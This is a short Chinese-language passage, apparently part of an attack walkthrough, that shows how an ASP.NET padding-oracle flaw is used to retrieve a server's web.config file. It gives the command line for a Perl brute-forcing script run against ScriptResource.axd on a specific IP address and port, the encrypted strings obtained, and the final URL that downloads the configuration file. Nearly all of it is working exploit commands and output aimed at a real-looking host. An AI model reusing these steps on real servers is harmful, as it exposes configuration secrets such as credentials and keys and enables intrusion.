拿到了web.config的URL的加密地址：mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1
2.利用脚本继续填充
perl Web.config_bruter.pl http://59.108.36.117:8000/ScriptResource.axd mQPKilqbL9QtyFXrYnku4AAAAAAAAAAAAAAAAAAAAAA1 16

得到了加密字符串：CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0
3.这样就得到了Web.Config完整的访问地址
http://59.108.36.117:8000/ScriptResource.axd?d=CX8PD2QimGkjB3nMBDaKRJkDyopamy_ULchV62J5LuAAAAAAAAAAAAAAAAAAAAAA0
